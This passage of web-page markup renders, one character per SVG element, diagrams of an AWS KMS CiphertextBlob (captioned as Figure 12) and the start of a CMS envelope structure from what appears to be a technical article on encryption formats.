<text text-anchor="middle" x="336" y="324" fill="currentColor">+</text>
<text text-anchor="middle" x="336" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="344" y="20" fill="currentColor">y</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="344" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="292" fill="currentColor">C</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="352" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="352" y="68" fill="currentColor">f</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">r</text>
<text text-anchor="middle" x="352" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">3</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="292" fill="currentColor">M</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="352" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="352" y="340" fill="currentColor">→</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="360" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="360" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">x</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">y</text>
<text text-anchor="middle" x="360" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="360" y="260" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="360" y="324" fill="currentColor">6</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">O</text>
<text text-anchor="middle" x="368" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="368" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">7</text>
<text text-anchor="middle" x="368" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="368" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">h</text>
<text text-anchor="middle" x="368" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="368" y="340" fill="currentColor">c</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">T</text>
<text text-anchor="middle" x="376" y="52" fill="currentColor">l</text>
<text text-anchor="middle" x="376" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="260" fill="currentColor">h</text>
<text text-anchor="middle" x="376" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="384" y="68" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="384" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="292" fill="currentColor">g</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="384" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="392" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="324" fill="currentColor">a</text>
<text text-anchor="middle" x="392" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="400" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">D</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="400" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="400" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="324" fill="currentColor">g</text>
<text text-anchor="middle" x="400" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="408" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="408" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="408" y="340" fill="currentColor">s</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="116" fill="currentColor">7</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">p</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="416" y="260" fill="currentColor">c</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="416" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="416" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">v</text>
<text text-anchor="middle" x="424" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="424" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="424" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="432" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="432" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="432" y="324" fill="currentColor">5</text>
<text text-anchor="middle" x="432" y="340" fill="currentColor">n</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="440" y="116" fill="currentColor">=</text>
<text text-anchor="middle" x="440" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="440" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="440" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="324" fill="currentColor">9</text>
<text text-anchor="middle" x="440" y="340" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">l</text>
<text text-anchor="middle" x="448" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="196" fill="currentColor">7</text>
<text text-anchor="middle" x="448" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="448" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="448" y="308" fill="currentColor">l</text>
<text text-anchor="middle" x="448" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="448" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="456" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="456" y="116" fill="currentColor">1</text>
<text text-anchor="middle" x="456" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="456" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="456" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="456" y="308" fill="currentColor">o</text>
<text text-anchor="middle" x="456" y="340" fill="currentColor">n</text>
<text text-anchor="middle" x="464" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="464" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="464" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="464" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="464" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">f</text>
<text text-anchor="middle" x="472" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="472" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="472" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="472" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="472" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="472" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="480" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="480" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="480" y="212" fill="currentColor">5</text>
<text text-anchor="middle" x="480" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="480" y="340" fill="currentColor">y</text>
<text text-anchor="middle" x="488" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="488" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="488" y="116" fill="currentColor">f</text>
<text text-anchor="middle" x="488" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="488" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="488" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="488" y="260" fill="currentColor">g</text>
<text text-anchor="middle" x="496" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="496" y="116" fill="currentColor">o</text>
<text text-anchor="middle" x="496" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="496" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="496" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="496" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="496" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="504" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="504" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="504" y="212" fill="currentColor">g</text>
<text text-anchor="middle" x="504" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="512" y="36" fill="currentColor">H</text>
<text text-anchor="middle" x="512" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="512" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="512" y="244" fill="currentColor">N</text>
<text text-anchor="middle" x="512" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="520" y="36" fill="currentColor">B</text>
<text text-anchor="middle" x="520" y="52" fill="currentColor">y</text>
<text text-anchor="middle" x="520" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="520" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="520" y="244" fill="currentColor">)</text>
<text text-anchor="middle" x="520" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="528" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="528" y="116" fill="currentColor">E</text>
<text text-anchor="middle" x="528" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="528" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="536" y="36" fill="currentColor">/</text>
<text text-anchor="middle" x="536" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="536" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="544" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="544" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="36" fill="currentColor">R</text>
<text text-anchor="middle" x="552" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="552" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="560" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="560" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="568" y="36" fill="currentColor">/</text>
<text text-anchor="middle" x="568" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="568" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="576" y="36" fill="currentColor">U</text>
<text text-anchor="middle" x="576" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="584" y="36" fill="currentColor">U</text>
<text text-anchor="middle" x="584" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="584" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="592" y="36" fill="currentColor">I</text>
<text text-anchor="middle" x="592" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="592" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="600" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="600" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="600" y="116" fill="currentColor">)</text>
<text text-anchor="middle" x="608" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="616" y="52" fill="currentColor">)</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 12: KMS CiphertextBlob. One cannot decrypt its content manually because the KDF label is not public. HBKID is mapped to CMK ARN internally.</span></figcaption></figure>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 600 361">
 <g transform="translate(8,16)">
<text text-anchor="middle" x="0" y="4" fill="currentColor">C</text>
<text text-anchor="middle" x="0" y="20" fill="currentColor">O</text>
<text text-anchor="middle" x="0" y="36" fill="currentColor">├</text>
<text text-anchor="middle" x="0" y="52" fill="currentColor">├</text>
<text text-anchor="middle" x="0" y="68" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="84" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="100" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="116" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="132" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="148" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="164" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="180" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="196" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="212" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="228" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="244" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="260" fill="currentColor">└</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="8" y="20" fill="currentColor">I</text>
<text text-anchor="middle" x="8" y="36" fill="currentColor">─</text>
<text text-anchor="middle" x="8" y="52" fill="currentColor">─</text>
<text text-anchor="middle" x="8" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="16" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="16" y="36" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="52" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="32" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="32" y="36" fill="currentColor">v</text>
<text text-anchor="middle" x="32" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="68" fill="currentColor">└</text>
<text text-anchor="middle" x="32" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="32" y="276" fill="currentColor">├</text>
<text text-anchor="middle" x="32" y="292" fill="currentColor">├</text>
<text text-anchor="middle" x="32" y="308" fill="currentColor">│</text>
<text text-anchor="middle" x="32" y="324" fill="currentColor">└</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="40" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="40" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="40" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="40" y="68" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="40" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="324" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="48" y="20" fill="currentColor">2</text>
<text text-anchor="middle" x="48" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="48" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="48" y="68" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="260" fill="currentColor">c</text>
<text text-anchor="middle" x="48" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="324" fill="currentColor">─</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="56" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="56" y="260" fill="currentColor">r</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="64" y="20" fill="currentColor">8</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="64" y="68" fill="currentColor">K</text>
<text text-anchor="middle" x="64" y="84" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="100" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="116" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="148" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="164" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="180" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="196" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">└</text>
<text text-anchor="middle" x="64" y="260" fill="currentColor">y</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="64" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="64" y="308" fill="currentColor">└</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">[</text>
<text text-anchor="middle" x="64" y="340" fill="currentColor">└</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="84" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="100" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">p</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="292" fill="currentColor">l</text>
<text text-anchor="middle" x="72" y="308" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">0</text>
<text text-anchor="middle" x="72" y="340" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="4" fill="currentColor">p</text>
<text text-anchor="middle" x="80" y="20" fill="currentColor">0</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">y</text>
<text text-anchor="middle" x="80" y="84" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="100" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="292" fill="currentColor">g</text>
<text text-anchor="middle" x="80" y="308" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">]</text>
<text text-anchor="middle" x="80" y="340" fill="currentColor">─</text>
<text text-anchor="middle" x="88" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">:</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">T</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="88" y="292" fill="currentColor">o</text>
<text text-anchor="middle" x="96" y="4" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="84" fill="currentColor">v</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="96" y="148" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="164" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">└</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">h</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="96" y="340" fill="currentColor">A</text>
<text text-anchor="middle" x="104" y="4" fill="currentColor">D</text>
<text text-anchor="middle" x="104" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">2</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">I</text>
<text text-anchor="middle" x="104" y="68" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="148" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">M</text>
<text text-anchor="middle" x="104" y="340" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="112" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="84" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="112" y="148" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">P</text>
<text text-anchor="middle" x="112" y="340" fill="currentColor">S</text>
<text text-anchor="middle" x="120" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="20" fill="currentColor">5</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">f</text>
<text text-anchor="middle" x="120" y="68" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">:</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="196" fill="currentColor">h</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="120" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">T</text>
<text text-anchor="middle" x="120" y="292" fill="currentColor">h</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">L</text>
<text text-anchor="middle" x="120" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="128" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="128" y="68" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="84" fill="currentColor">i</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="128" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">m</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="128" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="136" y="20" fill="currentColor">9</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="136" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="136" y="84" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="116" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="136" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="180" fill="currentColor">S</text>
